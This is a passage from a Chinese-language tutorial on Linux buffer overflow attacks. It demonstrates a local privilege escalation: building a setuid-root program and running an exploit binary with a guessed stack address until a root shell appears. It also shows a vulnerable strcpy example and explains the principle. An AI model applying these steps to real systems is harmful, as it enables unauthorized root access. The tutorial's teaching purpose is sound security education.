將上面兩個程序分別編譯為可執行程序,並且將toto改為屬主為root的setuid程序:
$ gcc exe.c -o exe$ gcc toto.c -o toto$ suPassword:# chown root.root toto# chmod +s toto# ls -l exe toto-rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe*-rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto*# exit
OK,看看接下來會發生什麼。首先別忘了用whoami命令驗證一下我們的身份。其實Linux繼承了UNⅨ的一個習慣,即普通用戶的命令提示符是以$開始的,而超級用戶的命令提示符是以#開始的。
$ whoamiwy$ ./exe ./toto 0xbfffffff- 0xbffffc38 -Segmentation fault$ ./exe ./toto 0xbffffc38- 0xbffffc38 -bash# whoamirootbash#
第一次一般不會成功,但是我們可以准確得知系統的漏洞所在――0xbffffc38,第二次必然一擊斃命。當我們在新創建的shell下再次執行whoami命令時,我們的身份已經是root了!由於在所有UNⅨ系統下黑客攻擊的最高目標就是對root許可權的追求,因此可以說系統已經被攻破了。
這里我們模擬了一次Linux下緩沖區溢出攻擊的典型案例。toto的屬主為root,並且具有setuid屬性,通常這種程序是緩沖區溢出的典型攻擊目標。普通用戶wy通過其含有惡意攻擊代碼的程序exe向具有缺陷的toto發動了一次緩沖區溢出攻擊,並由此獲得了系統的root許可權。有一點需要說明的是,如果讀者使用的是較高版本的bash的話,即使通過緩沖區溢出攻擊exe得到了一個新的shell,在看到whoami命令的結果後您可能會發現您的許可權並沒有改變,具體原因我們將在本文最後一節做出詳細的解釋。不過為了一睹為快,您可以先使用本文 代碼包中所帶的exe_pro.c作為攻擊程序,而不是圖1中的exe.c。

J. 如何理解緩沖區溢出攻擊


緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用軟體中廣泛存在。利用緩沖區溢出攻擊,可以導致程序運行失敗、系統當機、重新啟動等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。由於C語言本身缺乏邊界檢查,同時很多編程人員更注重程序運行時的性能(邊界檢查會降低性能),因此利用C語言等開發工具開發的軟體系統普遍存在著緩沖區溢出漏洞。最早的緩沖區溢出攻擊是著名的Robert Morris的網際網路蠕蟲。1988年,Morris利用fingered程序不限制長度的漏洞使緩沖區溢出,成功地獲得了一個脆弱系統的存取許可權,獲得許可權後Morris的程序會在機器上自動安裝,並且千方百計去感染其他機器。結果造成互聯網上6000餘台伺服器癱瘓,占當時聯網總數的10%。雖然人們認識到了緩沖區溢出的嚴重危害,但由於一些不好的編程習慣,新的緩沖區溢出漏洞仍然層出不窮。


緩沖區溢出的原理

通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()將直接把str中的內容到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標准函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,隨便往緩沖區中填東西造成它溢出一般只會出現「分段錯誤」(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過製造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序屬於root且有suid許可權的話,攻擊者就獲得了一個有root許可權的shell,可以對系統進行任意操作了。


緩沖區溢出攻擊之所以成為一種常見的安全攻擊手段其原因在於緩沖區溢出漏洞太普遍了,並且易於實現。而且,緩沖區溢出漏洞給予了攻擊者想要的一切:植入並且執行攻擊代碼。被植入的攻擊代碼以一定的許可權運行有緩沖區溢出漏洞的程序,從而得到被攻擊主機的控制權。
緩沖區溢出攻擊有很多種形式,相應的防衛手段也隨著攻擊方法的不同而不同,下面將介紹這兩方面的內容。